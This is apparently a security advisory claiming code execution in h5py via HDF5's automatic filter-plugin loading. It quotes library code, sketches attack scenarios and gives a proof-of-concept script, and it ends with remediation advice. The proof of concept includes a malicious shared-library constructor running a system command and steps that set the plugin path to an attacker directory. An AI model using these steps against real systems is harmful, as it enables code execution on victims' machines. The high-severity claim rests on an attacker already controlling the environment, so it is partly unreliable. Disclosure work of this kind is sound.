# Arbitrary Code Execution via Automatic HDF5 Filter Plugin Loading in h5py

## Target
- **Project:** h5py/h5py
- **URL:** https://github.com/h5py/h5py
- **Component:** HDF5 filter pipeline / dataset read path
- **CWE:** CWE-94 (Improper Control of Generation of Code / Code Injection)

## Severity: HIGH

## Summary

When h5py opens an HDF5 file and reads a dataset that uses a custom (non-builtin) compression filter, the underlying HDF5 library automatically searches for and loads a shared library (`.so`/`.dll`) filter plugin from directories in the plugin search path. h5py exposes APIs (`h5py.h5pl`) to manipulate this search path but does **nothing** to restrict or disable this automatic dynamic loading behavior. A crafted HDF5 file specifying a custom filter ID will cause HDF5 to load and execute arbitrary code from a shared library placed in the plugin search path -- which can be controlled via the `HDF5_PLUGIN_PATH` environment variable or through the `h5py.h5pl.append()`/`prepend()` APIs.

## Vulnerable Code

### File: `h5py/h5py/h5z.pyx` (lines 102-121)

```python
@with_phil
def register_filter(uintptr_t cls_pointer_address):
    '''(INT cls_pointer_address) => BOOL

    Register a new filter from the memory address of a buffer containing a
    ``H5Z_class1_t`` or ``H5Z_class2_t`` data structure describing the filter.

    `cls_pointer_address` can be retrieved from a HDF5 filter plugin dynamic
    library::

        import ctypes

        filter_clib = ctypes.CDLL("/path/to/my_hdf5_filter_plugin.so")
        filter_clib.H5PLget_plugin_info.restype = ctypes.c_void_p

        h5py.h5z.register_filter(filter_clib.H5PLget_plugin_info())

    '''
    return <int>H5Zregister(<const void *>cls_pointer_address) >= 0
```

### File: `h5py/h5py/h5pl.pyx` (lines 20-25)

```python
cpdef append(const char* search_path):
    """(STRING search_path)
    Add a directory to the end of the plugin search path.
    """
    H5PLappend(search_path)
```

### File: `h5py/h5py/_hl/filters.py` (lines 295-299)

When a dataset is created with an integer filter ID, h5py passes it directly to HDF5:
```python
    elif isinstance(compression, int):
        if not allow_unknown_filter and not h5z.filter_avail(compression):
            raise ValueError("Unknown compression filter number: %s" % compression)
        plist.set_filter(compression, h5z.FLAG_OPTIONAL, compression_opts)
```

### Automatic Plugin Loading (HDF5 library behavior)

When `H5Dread()` is called on a dataset with a filter ID that is not currently registered, HDF5 searches the plugin path for `.so`/`.dll` files, loads them via `dlopen()`, calls `H5PLget_plugin_info()` to obtain the filter class, and registers it automatically. This happens transparently inside:

- `h5py/h5py/_proxy.templ.pyx` line 120: `H5Dread(dset, mtype, mspace, fspace, dxpl, progbuf)`
- `h5py/h5py/_proxy.templ.pyx` line 151: `H5Dread(dset, dstype, cspace, fspace, dxpl, conv_buf)`

## Exploitation

### Attack Scenario 1: Crafted HDF5 file + environment manipulation

1. An attacker sets `HDF5_PLUGIN_PATH` to a directory they control (e.g., via `.bashrc` manipulation, Docker environment, or CI/CD configuration)
2. They place a malicious `.so` file in that directory implementing the `H5PLget_plugin_info` symbol
3. They provide a crafted HDF5 file with a dataset using a custom filter ID matching their plugin
4. When the victim opens the file and reads the dataset with h5py, the malicious shared library is automatically loaded and its code executes

### Attack Scenario 2: h5pl API abuse in shared environments

In applications where users can influence the plugin path via `h5py.h5pl.append()` before file loading:

```python
import h5py

# Attacker injects malicious plugin path
h5py.h5pl.append(b'/attacker/controlled/path')

# Later, when legitimate code reads a crafted HDF5 file:
with h5py.File('crafted.h5', 'r') as f:
    data = f['dataset'][:]  # Triggers plugin loading -> RCE
```

### Proof of Concept

```python
import h5py
import numpy as np
import struct
import tempfile
import os

# Step 1: Create a malicious shared library (filter plugin)
# In practice, compile a .so with H5PLget_plugin_info that runs arbitrary code
# For demonstration, this would be:
#   gcc -shared -o malicious_filter.so -fPIC malicious_filter.c
# Where malicious_filter.c contains:
#   #include <stdlib.h>
#   void __attribute__((constructor)) init() { system("id > /tmp/pwned"); }

# Step 2: Set plugin path
os.environ['HDF5_PLUGIN_PATH'] = '/tmp/malicious_plugins'

# Step 3: Create HDF5 file with custom filter
CUSTOM_FILTER_ID = 32000  # Use a non-standard filter ID

with h5py.File('/tmp/crafted.h5', 'w') as f:
    # Use allow_unknown_filter to bypass availability check during creation
    f.create_dataset(
        'payload',
        data=np.zeros(100),
        compression=CUSTOM_FILTER_ID,
        compression_opts=(0,),
        chunks=(100,),
        allow_unknown_filter=True
    )

# Step 4: When any user reads this file, the filter plugin is loaded
with h5py.File('/tmp/crafted.h5', 'r') as f:
    data = f['payload'][:]  # This triggers automatic plugin search and dlopen()
```

## Impact

- **Arbitrary code execution** in the context of the process reading the HDF5 file
- This is particularly dangerous in:
  - Data science pipelines that process untrusted HDF5 files
  - ML model loading (Keras/TensorFlow models are stored as HDF5)
  - Scientific data sharing workflows
  - Jupyter notebook environments processing external data
- h5py provides no mechanism to disable automatic filter plugin loading
- The `allow_unknown_filter=True` parameter on dataset creation is designed for this workflow, explicitly supporting the use case

## Remediation

1. **Provide an option to disable automatic filter plugin loading** when opening files for reading. HDF5 1.10+ supports `H5PLset_loading_state()` to disable plugin loading.
2. **Add a security warning** in documentation about the risks of processing untrusted HDF5 files
3. **Consider defaulting to disabled plugin loading** for read-only file access, requiring explicit opt-in
4. **Validate or restrict plugin paths** added via `h5pl.append()`/`prepend()`

## References

- HDF5 Dynamic Plugin Loading: https://docs.hdfgroup.org/hdf5/develop/group___h5_p_l.html
- HDF5 Filter Plugins: https://github.com/HDFGroup/hdf5_plugins
- h5py filter documentation: https://docs.h5py.org/en/stable/high/dataset.html#filter-pipeline